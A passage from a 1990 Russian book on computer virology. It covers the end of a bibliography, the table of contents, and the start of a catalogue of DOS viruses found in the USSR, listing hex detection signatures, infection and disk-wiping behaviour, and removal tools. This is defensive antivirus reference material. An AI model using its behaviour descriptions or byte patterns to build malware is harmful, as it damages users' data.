vs. the virus // Byte, 1988, No 7, pp.197-207 [Powell89] Powell D. Fighting network infection // Network Management, 1989, v.7, No 9, pp.39-48 [Pozzo86] Pozzo M., Gray T. A model for the containment of computer viruses // Proc. 2nd Aerospace Computer Security Conf., 1986, pp.11-18 [Pozzo87] Pozzo M.M., Gray T.E. An approach to containing computer viruses // C&S, 1987, v.6, No 4, pp.321-331 [Preston89] Preston C.M. Review of VIRUSCAN // C&S, 1989, v.8, No 8, pp.663-668 [Quant89] Quant H.A. Virus versus vaccine // Information Age, 1989, v.11, No 3, pp.138-143 [Radai89] Radai Y. The Israeli PC virus // C&S, 1989, v.8, No 2, pp.111-113 [Radelow88] Radelow B., Merkl W. Schutz gegen computerviren // Chip, 1988, No 7, pp.84-88 [Rimmer88] Rimmer S. Virus check // Computing Now, 1988, v.6, No 7, pp.45-48 [Rinke90] Rinke W. Jagdszenen in Hessisch-Sibirien // Toolbox, 1990, No 5, pp.78-80 [Risch88] Risch H.-J. Angst vor computer-viren // C't, 1988, No 7, pp.70-71 [Rochlis89] Rochlis J.A., Eichin M.W. With microscope and tweezers: the worm from MIT's perspective // CACM, 1989, v.32, No 6, pp.689-698 [Ross88] Ross S.J. Viruses, worms and other (computer) plagues // EDPAJ, 1988, v.3, pp.21-23 [Rubenking88a] Rubenking N.J. How vaccine programs work // PC Magazine, 1988, v.7, No 12, p.35 [Rubenking88b] Rubenking N.J. Antivirus programs fight data loss // PC Magazine, 1988, v.7, No 12, p.36 [Rubenking89] Rubenking N.J. Infection protection // PC Magazine, 1989, v.8, No 8, pp.193-228 [Rummer89] Rummer P. Do you have virus insurance ? // Systems 3X & AS World, 1989, v.17, No 6, pp.76-86 [Russo89] Russo J., Hale T.C., Helm R.S. Computer viruses: new potential liability for software developers and expert system providers // International Computer Law Adviser, 1989, v.3, No 6, pp.4-13 [Ruzicka89] Ruzicka K. Virenschutz durch Secure // Toolbox, 1989, v.4, No 5, pp.38-39 [Ryan88] Ryan A.J., Margolis N. Verdict awaits monger: hero or hacker ? // CW, 1988, v.XXII, No 46 (Nov. 14), p.8 [Saffo89] Saffo P. Consensual realities in cyberspace // CACM, 1989, v.32, No 6, pp.664-665 [Samuelson89] Samuelson P. Can hackers be sued for damages caused by computer viruses ? // CACM, 1989, v.32, No 6, pp.666-669 [Sanz89a] Sanz D. Le hit-parade de l'infection programmee // Science & vie Micro, 1989, No 66, pp.145-150 [Sanz89b] Sanz D. Les virus: sabotage assiste par ordinateur // Soft & Micro, 1989, No 55, pp.150-165 [Savage88] Savage J.A. Sendmail developer speaks out // CW, 1988, v.XXII, No 46 (November 14), p.10 [Schloter89] Schloter M. Zauberlehrlinge und geister: viren - eine gefahr fur die ganze computerszene ? // Toolbox, 1989, v.4, No 1, pp.48-50 [Schmidt87] Schmidt E. Computerviren - wie sie schaden was sie nutzen // Computerwoche, 1987, v.14, No 13 (Mar. 27), pp.32-36 [Schryver88] Schryver J. Virus informatique: decontaminez votre ordinateur ! // Micro Systemes, 1988, No 92, pp.60-66 [Schryver89] Schryver J. Virus, la contamination multiforme // Micro Systemes, 1989, No 101, pp.84-85 [Schuster89] Schuster A. Virtest: schutz bei virenbefall // Toolbox, 1989, v.4, No 3, pp.40-47 [Seeley89] Seeley D. Password cracking: a game of wits // CACM, 1989, v.32, No 6, pp.700-703 [Sell90] Sell M. Tendencje w swiecie wirusow // PCkurier, 1990, No 16, p.12 [Seymour88] Seymour J., Matzkin J. Confronting the growing threat of harmful computer software viruses // PC Magazine, 1988, v.7, No 12, pp.33-35 [Shoch82] Shoch J.F., Hupp J.A. The "worm" programs - early experience with a distributed computation // CACM, 1982, v.25, No 3, pp. 172-180 [Simon90] Simon H.-J. Virenjagd per grips // C't, 1990, No 5, pp.218-230 [Simons90] Simons G.L., Elbra T. Protection from viruses // Information Age, 1990, v.12, No 2, pp.109-115 [Solomon88] Solomon A. A Trojan war // PCW, 1988, v.11, No 8, pp.166-170 [SP&E72] "Darwin" // Software: Practice and Experience, 1972, v.2, No 1, pp.93-96 [SP88] Computer viruses act as data system time bombs // Software Protection, 1988, v.VII, No 6-7, pp.20-22 [Spafford89a] Spafford E.H. The Internet worm program: an analysis // Computer Communication Review, 1989, v.19, No 1, pp.18-57 [Spafford89b] Spafford E.H. Crisis and aftermath // CACM, 1989, v.32, No 6, pp.678-687 [Sperber88] Sperber J. Virusfieber // MC, 1988, No 7, pp.74-78 [Spiegel84] Verborgener befehl // Der Spiegel, 1984, v.38, No 47 (Nov. 19), pp.262-267 [Stindt89] Stindt A. Showblock mit virus-check: diskettensectoren im blick // Toolbox, 1989, v.4, No 4, pp.60-63 [Stover89] Stover D. Viruses, worms, trojans, and bombs // Popular Science, 1989, v.235, No 3, pp.59-62,104,108 [SW89] Viruses, worms et al. // Software World, 1989, v.20, No 3, pp.12-14 [Thiedig88] Thiedig I., Muller H. Computer-viren als spezielle klasse selbstreproduzierender programme // Wissenschaftliche Beitrage zur Informatik.- Informatik-zentrum des Hochschoolwesens an der Technische Universitat Dresden, 1988, No 2, pp.14-21 [Thompson84] Thompson K. Reflections on trusting trust // CACM, 1984, v.27, No 8, pp.761-764 [Tolkien66] Tolkien J.R.R. The fellowship of the Rings. Being the first part of the Lord of the Rings.- George Allen and Unwin, 1966, 1974.- (есть сокр. русский перевод: Толкиен Дж.Р.Р. Хранители. Летопись первая из эпопеи "Властелин Колец".- М.: Детская литература, 1983.- 335 с.) [Treplin89a] Treplin D. Virenschutzprogramme // Chip, 1989, No 6, pp.72-75 [Treplin89b] Treplin D. Wege zur virenbekampfung // Chip, 1989, No 9, pp.276-277 [Tuck89] Tuck R. The aftermath of the virus // EDPAJ, 1989, v.1, pp.9-10 [Vogt89] Vogt E.-E., Guhl H. Die pest im netz // Chip Tool, 1989, No 2, pp.66-72 [Wagner89] Wagner M., Dierstein R. Konsequenzen aus dem fall Morris // KES, 1989, v.5, No 1, pp.18-28 [Webster89] Webster A.E. University of Delaware and the Pakistani computer virus // C&S, 1989, v.8, No 2, pp.103-105 [Weiner89] Weiner M. Virus - dossier // Monitor, 1989, No 5, pp.75-91 [Weiss82] Self-assessment procedure IX / Weiss E.A. (ed.) // CACM, 1982, v.25, No 3, pp.181-195 [Wernery87] Wernery S. Die neue gefahr - computerviren // Chip, 1987, No 9, pp.34-37 [White89] White C.E. Viruses and worms: a campus under attack // C&S, 1989, v.8, No 4, pp.283-290 [Whitmyer88] Whitmyer C.F. Computer viruses: there are ways to combat them // The Office, 1988, v.108, No 3, p.28 [Whitmyer89] Whitmyer C.F. Computer viruses: the potential for damage exists // The Office, 1989, v.110, No 6, p.24 [Wiseman89] Wiseman S. Preventing viruses in computer systems // C&S, 1989, v.8, No 5, pp.427-432 [Witten87] Witten I.H. Computer (in)security: infiltrating open system // Abacus, 1987, v.4, No 4, pp.7-25 [Witten90] Witten I., Thimbleton H. The worm that turned // PCW, 1990, v.13, No 7, pp.202-206 [Woehlebier88] Woehlebier H. Der weihnachtsbaum, der um die welt ging // KES, 1988, v.4, No 1, pp.4-7 [Wong89a] Wong K. Computer security: what's new ? // DuD, 1989, No 3, pp.133-137 [Wong89b] Wong K. Computer virus - nuisance or corporate threat ? // DuD, 1989, No 11, pp.567-572 [Wood89] Wood P. Safe and secure ? // Byte, 1989, v.14, No 5, pp.253-258 [Wyk89] van Wyk K.R. The Lehigh virus// C&S, 1989, v.8, No 2, pp.107-110 [Yovel89] Yovel Sh. On viruses and top managers // Information Age, 1989, v.11, No 4, pp.202-204 [Zajac88a] Zajac B.P. Computer viruses: the new global threat // CL&SR, 1988, v.4, No 1, pp.3-4; No 2, pp.30-31 [Zajac88b] Zajac B.P. The legal implications of viruses // CL&SR, 1988, v.4, No 4, pp.36-37 [Zajac88c] Zajac B.P. Viruses: should we quit talking about them ? // C&S, 1988, v.7, No 5, pp.471-472 [Zajac89a] Zajac B.P. Virus hits major US computer network // CL&SR, 1989, v.4, No 5, pp.34-35 [Zajac89b] Zajac B.P. Computer viruses: can they be prevented ? // CL&SR, 1989, v.5, No 1, pp.18-21 [Zajac89c] Zajac B.P. Virus hits Michigan medical centers // CL&SR, 1989, v.5, No 2, p.28 [Zajac89d] Zajac B.P. Legal options to computer viruses // C&S, 1989, v.8, No 1, pp.25-27 [Zajac89e] Zajac B.P. Disaster recovery - are you really ready ? // C&S, 1989, v.8, No 4, pp.297-298 [Zajac90a] Zajac B.P. Computer viruses: can they be prevented ? // C&S, 1990, v.9, No 1, pp.25-31 Н.Н.Безруков КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ ОГЛАВЛЕНИЕ 1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ 1.1. Предыстория 1.1.1. Первые эксперименты 1.1.2. Романы Бруннера, Гибсона и расцвет "околовирусного" направления в научной фантастике 1.1.3. Apple II и BBS создают условия для распространения троянских программ и вирусов 1.1.4. Первые эксперименты с сетевыми вирусами 1.1.5. Тьюринговская лекция Кена Томпсона 1.1.6. Игра "Бой в памяти", работы Коэна и другие события 1984 г. 1.1.7. Первые попытки противодействия: список "грязная дюжина" и первые антивирусные программы 1.2. Второй этап є компьютеры в осаде 1.2.1. Хакеры 1.2.2. Первые случаи массового заражения 1.2.3. Вирусы и Микрософт: MS DOS как VIR DOS 1.2.4. Появление более "вирусоустойчивых" альтернатив MS DOS 1.2.5. OS/2 и компьютерные вирусы 1.2.6. Роль компьютерных сетей 1.2.7. Появление вирусов в СССР 1.2.8. Отечественные антивирусные публикации 1.2.9. Первые отечественные антивирусные программы, начало формирования рынка программных средств защиты от вирусов 1.2.10. Появление аппаратных средств защиты от вирусов 1.2.11. Семинар "Системное программирование" и бюллетень СОФТПАНОРАМА 1.2.12. Болгарские и польские исследования 1.2.13. Законы, направленные против техно-крыс 1.2.14. Этические проблемы, связанные с распространением компьютерных вирусов 1.2.15. Проблема самоизоляции 1.3. Современная ситуация 1.3.1. Хроника событий 1.3.2. Болгарский вирусный взрыв 1.3.3. Колхоз им. Герострата, или вирусы, "выращенные" в СССР 2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 2.1. Программы-вандалы 2.2. Троянские программы 2.3. Компьютерные вирусы 2.4. Анатомия компьютерного вируса 2.4.1. Структура файлового нерезидентного вируса 2.4.2. Структура файлового резидентного вируса 2.4.3. Структура бутового вируса 2.5. Панацеи не существует (общая классификация средств защиты) 2.6. Жизненный цикл компьютерных вирусов 2.7. Среда обитания вирусов 2.8. Симптомы заражения 2.9. Вызываемые вирусами эффекты 2.10. Повторное заражение 2.11. Вирусофобия и попытки ее эксплуатации 2.12. О возможности повреждения оборудования 2.13. Легенды о полезных вирусах 3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 3.1. Принцип построения классификации 3.2. Классификация файловых вирусов 3.3. Классификация бутовых вирусов 3.4. Использование классификационных таблиц 4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР 4.1. Венская группа 4.1.1. Базисный вирус С-648 (Vienna є Вена) 4.1.2. Штамм С-623 (Vienna-X) 4.1.3. Штамм C-627 (Vienna-Y) 4.2. Польская группа 4.2.1. Вирус С-534 (Toothless є Беззубый, W13) 4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B є Беззубый-Б, W13-B) 4.3. Группа IV (Amstrad) 4.3.1. C-345 (Pixel є Пиксель) 4.3.2. C-847 (Amstrad) 4.3.3. C-740 (Canser є Рак) 4.4. Вирус E-1961 (Yankee Doodle-2 є Янки Дудль-2) 4.5. Вирус C-1024 (Bebe є Бебе) 4.6. Вирус C-257 5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР 5.1. Группа "Буквопад" 5.1.1. Вирус RС-1701 (Cascade є Буквопад) 5.1.2. Вирус RС-1704 (Cascade-B є Буквопад-Б) 5.2. Иерусалимская группа 5.2.1 Вирус RCE-1813 (Ierusalem є Иерусалим, Black Friday є Черная пятница) 5.2.2. Вирус RCE-1636 (Sunday є Воскресенье) 5.2.3. Воронежская подгруппа 5.2.3.1. Вирус RC-529 (Peterburg є Петербург, Пакость-1) 5.2.3.2. Вирус RC-600 (Пакость-2) 5.2.3.3. Вирус RC-1600 (Voronezh 2.01 є Воронеж 2.01, Пакость-3) 5.2.4. Другие представители иерусалимской группы. 5.3. Группа TP-вирусов 5.3.1. Подгруппа Vacsina 5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5) 5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04). 5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10) 5.3.2. Подгруппа музыкальной перезагрузки 5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 є Янки дудль-19, Музыкальная перезагрузка) 5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 є Янки дудль-18, Музыкальная перезагрузка) 5.3.3. Подгруппа музыкальных самоедов 5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C є Янки дудль-2С, Five o'clock) 5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 є Янки дудль-21) 5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 є Янки дудль-22) 5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 є Янки дудль-26) 5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D є Янки дудль-2D) 5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 є Янки дудль-29) 5.4. Группа Avenger 5.4.1. Вирус RCE-1800 (Dark Avenger є Черный мститель; Eddie є Эдди) 5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev є Анти-Бончев) 5.5. Вирус RCE-1277 (Murphy є Мерфи) 5.6. Группа "второй половины таблицы прерываний" 5.6.1. Вирус RC-492 (sI) 5.6.2. Вирус RC-488 (Flu-2 є Грипп-2, LoveChild є Внебрачный ребенок) 5.7. Группа стелс-вирусов 5.7.1. RCE-04096 (Frodo є Фродо, 4096) 5.7.2. Вирус RC-0-512 (512, 666) 5.8. Вирус RC-394 (Attention є Внимание) 6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ 6.1. Общие замечания 6.2. Новые стелс-вирусы 6.2.1. Вирус RCE-03584 (Fish є Рыба) 6.2.2. Вирус Mother Fish (Whale) 6.3. "Болгарская серия" 6.3.1. Новые вирусы группы Dark Avenger 6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3) 6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после смерти) 6.3.1.3. Вирус RCE-1024 6.3.1.4. Вирус RCE-02100 6.3.2. Вирус RC-1701p (Phoenix - Феникс) 6.4. Файловые вирусы восточного происхождения 6.4.1. Вирус RCE-2064 (Wolfman) 6.4.2. Вирус C-743 (Taiwan-2) 6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3) 6.4.4. Вирус RCE-4096 (Plastique) 6.5. Некоторые "ископаемые" файловые вирусы 6.5.1. Вирус RC-0-346 (Lehigh - Лехайский) 6.5.2. Вирус dBASE 6.5.3. Screen Virus - "экранный" вирус 6.5.4. Группа первоапрельских вирусов 6.5.4.1. Вирус RC-897 6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2, 6.5.5. Группа Datacrime (Дейтакрайм) 6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 1168, Columbus Day - День Колумба) 6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280, Columbus Day - День Колумба) 6.5.5.3. Вирус СE-1514 6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB, 1917, Columbus Day - День Колумба) 6.6. Мифические файловые вирусы 6.6.1. Вирус Cookie, Cookie Monster - Печенье 6.6.2. Вирус, заражающий объектные библиотеки 6.6.3. Вирус "падающие головки винчестера" 6.6.4. Вирус в сетевом драйвере 6.6.5. Сетевой вирус RCE-2231 6.6.6. Вирусы, поражающие скрытые системные файлы 7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP 7.1. Итальянская группа 7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing Итальянский попрыгунчик) 7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пингпонг, модифицированный вирусом Янки Дудль) 7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг) 7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг) 7.2. Пакистанская группа 7.2.1. Вирус Dx3-E9 (Сингапурский вариант Душманских мозгов) 7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus Пакистанский вирус; Brain-86 - Душманские Мозги-86) 7.2.3. Штамм Dx3-E9 (Ashar - Ашар) 7.3. Южнозеландская группа 7.3.1. Вирус M-05 (Stoned - "Забалдевший") 7.3.2. Штамм "Stone Rostov" 7.3.3. Вирус "PrintScreen" 7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер) 7.5. Вирус D-29 (Den-Zuk - Ден-Зук) 7.6. Индийская группа 7.6.1. Вирус WM-1F (Joshi - Джоши) 8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ 8.1. Смешанные бутово-файловые вирусы 8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака) 8.1.2. Вирус RCE-2560 (Virus-101) 8.1.3. Вирус RC-1253 (AntiCad, V-1) 8.1.4. Вирус RCE-1040 (Anthrax) 8.2. Бутовые вирусы восточного происхождения 8.2.1. Вирус Microbes 8.2.2. Вирус AirCop 8.2.3. Вирус Korea 8.2.4. Вирус Ohio 8.3. Ископаемые бутовые вирусы 8.3.1. Вирус Alameda (Аламеда) 8.3.2. Вирус Chaos (Хаос) 8.4. Мифические бутовые вирусы 8.4.1. Вирус Bxxx (Boot Killer - бут-киллер) 9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ 9.1. Вирус Christmas Tree (Рождественская елка) 9.2. Вирус Морриса 9.3. Вирусы в локальных сетях 9.3.1. Вирус 1260 10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ 10.1. Классификация cредств защиты от вирусов 10.2. Основная технологическая схема защиты 10.2.1. Организация входного контроля нового программного обеспечения 10.2.1.1. Понятия достоверной дистрибутивной копии и сертификата 10.2.1.2. Контроль текстовых строк, содержащихся в файле 10.2.1.3. Использование отладчиков и дизассемблеров 10.2.2. Карантинный режим 10.2.2.1. Троянские компоненты в незаконно распространяемых копиях программ и программах со "сломанной" защитой 10.2.2.2. Троянские компоненты в антивирусных программах 10.2.2.3. После покупки компьютера проверяйте содержимое винчестера 10.2.3. Сегментация информации на винчестере 10.2.4. Защита операционной системы от заражения 10.2.4.1. Стратегия защиты командного процессора 10.2.4.2. Использование каталога BAT-файлов 10.3. Архивирование 10.3.1. Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT 10.3.2. Используйте систему "неделя-месяц-год" 10.3.3. В защиту "бумажной технологии" 10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не поздно 10.3.5. Переписывая программы, различайте эталонную и рабочую копию 10.4. Методика применения средств защиты 10.4.1. Типичные ошибки 10.4.2. Методика применения детекторов 10.4.2.1. Использование Norton Utilities и PCTools как универсальных детекторов вирусов 10.4.2.2. Поиск текстовых сигнатур 10.4.3. Методика применения фагов 10.4.4. Методика использования резидентных сторожей 10.4.5. Методика использования ревизоров 10.4.6. Вакцинирование 10.4.7. Критерии оценки качества антивирусных программ 10.4.7.1. Критерии оценки качества детекторов 10.4.7.2. Сравнительный анализ полифагов 10.4.7.3. Критерии оценки и сравнительный анализ ревизоров 10.4.7.4. Сравнительный анализ вакцин 10.4.7.5. Критерии оценки сторожей 10.4.8. О первом конкурсе антивирусных программ, распространяемых бесплатно 10.4.8.1. Оценки и рекомендации жюри по полифагам 10.4.8.1.1. A I D S T E S T 10.4.8.1.2. D O C T O R 10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам 10.4.8.2.1. D L I 10.4.8.2.2. V L 10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам 10.4.8.3.1. S B M и C H E C K 2 1 10.5. Отдельные приемы защиты 10.5.1. Регулярно оптимизируйте винчестер 10.5.2. Прятать новые версии антивирусных программ просто невыгодно 10.5.3. Нормальное состояние дискеты - защищенное от записи 10.5.4. Как работать на зараженном файловым вирусом компьютере при отсутствии вакцины 10.5.5. При хранении антивирусных программ на винчестере используйте архивирование 10.5.6. Использование макетов программ типа DUMYxxxx для определения место нахождения спрятанных байтов 10.6. Методика восстановления информации 10.6.1. Создайте и отработайте план восстановления винчестера ! 10.6.2. Если что-то случилось - избегайте поспешных действий 10.6.3. Советы по восстановлению информации 10.7. Некоторые организационные меры защиты 10.8. Юридические методы защиты от компьютерных вирусов 10.8.1. Некоторые судебные процессы над кракерами и разработчиками вирусов 11. ЗАКЛЮЧЕНИЕ ЛИТЕРАТУРА ПРИЛОЖЕНИЕ 1. Классификационная таблица файловых вирусов, обнаруженных в CCCР ПРИЛОЖЕНИЕ 2. Классификационная таблица бутовых вирусов, обнаруженных в CCCР ПРИЛОЖЕНИЕ 3. Классификационная таблица файловых вирусов, известных только по литературе ПРИЛОЖЕНИЕ 4. Классификационная таблица бутовых вирусов, известных только по литературе ПРИЛОЖЕНИЕ 5. Перечень отечественных антивирусных средств, помещенных в выпусках электронного бюллетеня СОФТПАНОРАМА ПРИЛОЖЕНИЕ 6. Некоторые сведения о файловой системе MS DOS ПРИЛОЖЕНИЕ 7. Исполняемые файлы и связанные с ними системные блоки ПРИЛОЖЕНИЕ 8. Прерывания MS DOS ПРИЛОЖЕНИЕ 9. Наиболее часто используемые функции MS DOS ─────────────────┬─────────┬───┬─┬─┬──────────────────────────────────────────── ─┬────────────────────────────────────────────┐ │ │ Г │Р│Д│ Дескриптор, сигнатуры и фаги данного вируса │ │ Неформальные │Классифи-│ р │а│и├──┬──────────────────────────────────────────┤ Страна и дата обнаружения, │ названия │кационный│ у │с│н│B │ │ фамилия исследователя обнаружевшего │ │код │ п │п│а│и │ Значение │ и изолировавшего вирус (если известны), │ │вируса │ п │р│м│д │ │ вызываемые эффекты │ │ │ а │о│и│ │ │ │ │ │ │с│к│ │ │ │ │ │ │т│а│ │ │ │ │ │ │р│ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Kemerovo-Reset │ C-257 │ │1│ │D │Ar Ba Cy Dt Itc K1 Mn Sc │СССР (Кемерово), июль 1990, Сусликов Е. │ │ (Кемеровская │ │ │ │ │P │ │Заражает все COM-файлы в текущем каталоге. │ │ перезагрузка) │ │ │ │ │B1│ │Иногда вызывает перезагрузку MS DOS. Не │ │ │ │ │ │B2│5A 52 89 D6 81 C6 C1 00 89 D8 2D 04 00 │закрывает файлы, открываемые файлы (по │ │ │ │ │ │T │*.COM │одному на заражаемую программу), причем │ │ │ │ │ │ │ │открыть их может очень много. Портит время │ │ │ │ │ │ │Не блокирует сообщения о защите от записи. │ │ │ │ │ │ │Зараженные программы теряют способность │ │ │ │ │ │ │обрабатывать параметры. │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-345 │ C-345 │IV │1│~│D │Ab Bat Cy Dn Ee Ihc K1 Li Mn Sc │Западная Европа: 1988; СССP: 1989 │ $ Pixel-1 │ │ │ │ │P │0 <LenC <+oo & Atr != RH │Вместо исполнения зараженной программы │ │ │ │ │ │B │508CC80500108EC0FE060401BE000133FFB95901 │часто выдается сообщение T2 │ │ │ │ │ │C │0501B90600B44ECD21724BBA2F01B802 │(см., также штаммы С-740 и С-840) │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │T2│Program sick error:Call doctor │ │ │ │ │ │ │+ │ or buy PIXEL for cure description │ │ │ │ │ │ │F │AIDSTEST,-V,AV,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Attention │ RC-394 │ │1│ │D │An Bn Cy Dy Ee Itc Mh She Za(z)h │СССР: Минск - 07.90 (Сотников С.), │ │ (Внимание) │ │ │ │ │P │ │Москва - 08.90. │ │ │ │ │ │ │H │21,24 │При заражении файлов на защищенном от записи│ │ │ │ │ │J │ │диске, вне зависимости от диска, к которому │ │ │ │ │ │B │81 FC 00 01 77 02 33 E4 8B E8 E8 00 00 │идет обращение, трижды включается мотор │ │ │ │ │ │T │ATTENTION ! │дисковода А. Зараженные файлы, начиная с │ │ │ │ │ │ │ │4-го байта, содержат строку "ATTENTION !". │ │ │ │ │ │ │ │Имеется два почти идентичных штамма │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ LoveChild │ RC-488 │!!!│ │ │D │Aak Bn Seo │ │ │ │ │ │ │ │P │ │СССР, август 1990 г. │ │ │ │ │ │H │21-3C, 21-3D, 21-4B 21-5B │Заражает файлы с расширением при их │ │ │ │ │ │B │B8 42 02 5B 53 33 C9 8B D1 CD 21 05 12 00 │загрузке в память, при открытии │ │ │ │ │ │ │ │создании, длин файлов не проверяет. │ │ │ │ │ │T1│v2 (c) Flu Systems (R) │Изменяет первые 4 байта файла на команды │ │ │ │ │ │T2│LoveChild in reward for software sealing │STI; JMP VirStart. При инсталляции │ │ │ │ │ │ │ │записывает свое тело во вторую часть таблицу│ │ │ │ │ │ │ │векторов прерываний, по адресу 0000:01E0. │ │ │ │ │ │ │ │В зависимости от счетчика времени может │ │ │ │ │ │ │ │уничтожать файлы или создавать вместо файла │ │ │ │ │ │ │ │подкаталог с таким же именем. Вирус │ │ │ │ │ │ │ │периодически модифицирует COM-файлы таким │ │ │ │ │ │ │ │образом, что их запуск вызовет стирание │ │ │ │ │ │ │ │секторов винчестера (стирается вся │ │ │ │ │ │ │ │информация, расположенная на всех секторах, │ │ │ │ │ │ │ │соответствующих 0-3 головкам записи/чтения).│ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 492, │ RC-492 │Int│1│<│D │Ac Ba Cy Dy Es Itp K1 L492 Sce │CCCP(Москва, ВЦ АН СССР): июль 1990, │ sI │ │ │ │ │P │0 <LenC <+oo & Atr != RH & CPU>=80286 │Н.Н.Безруков │ │ │ │ │ │H │1C, 21 │Простой, плохо отлаженный вирус. │ │ │ │ │ │J │2E8B1E010183C303B104D3EB8CD803C3 │Уничтожает несколько секторов на диске, │ │ │ │ │ │ │ │выбирая их случайным образом и записывая │ │ │ │ │ │ │ │в них содержимое участка оперативной памяти │ │ │ │ │ │F │-V, NEATFAG, K32 │Копирует себя в область векторов прерываний,│ │ │ │ │ │ │ │начиная с 0000:0200h │ │ │ │ │ │ │ │На PC/XT не работоспособен. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 13 месяц-Б, │ С-507 │Ven│1│ │D │An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Ry Sc │Польша: 1988 │ │ Toothless-B │ │ │ │ │DP│256 < LenC │Штамм вируса С-534. При заражении программы │ │ (Беззубый), │ │ │ │ │T1│????????COM │изменяет ее дату с установкой месяца на 13 │ │*# W13-B │ │ │ │ │T2│Мicrosoft │(признак зараженности). Заражает файлы толь-│ │ │ │ │ │ │F │MKS_VIR │ко в текущем каталоге. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │*#$ 512 │ RC-O-512│DAv│1│<│D │Cy │Болгария: ноябрь 1989, Весселин Бончев(?) │ │ │ │!!!│ │ │M1│8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 │ВНИМАНИЕ !!! Очень опасный и скрытно размно-│ │Number of the │ │ │ │ │M2│01 8C 45 70 1F 89 57 14 8C CA 8E DA │жающийся вирус второго поколения. │ │Beast Virus, │ │ │ │ │C │1EC54408720AB413CD2F1E52CD2F581F │Первый сегментированный вирус, хранящий │ │(вирус апокалип- │ │ │ │ │T │666 │хвост в свободном секторе последнего класте-│ │сического числа),│ │ │ │ │ │ │ра, распределенного зараженному файлу. │ │Stealth Virus │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│При инсталляции в оперативной памяти занима-│ │(Стелс вирус) │ │ │ │ │ │ │ет часть памяти, отведенной под буфера. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 529, │RС-529 │Ier│1│ │D │An Bn Cn Dn Ee Ihc Jn K1 Lx Mn Se │CCCР (Ленинград): весна 1989, Лозинский Д.Н.│ Peterburg, │ │/ВП│ │ │P │529 < LenC < +oo │Возможно, штамм RСE-1813,однако не исключено│ Пакость-1 │ │ │ │ │B │B815CA8B361B01BF00018B0E1D018B1E19 │что наоборот - одна из ранних версий │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 13 месяц, │ С-534 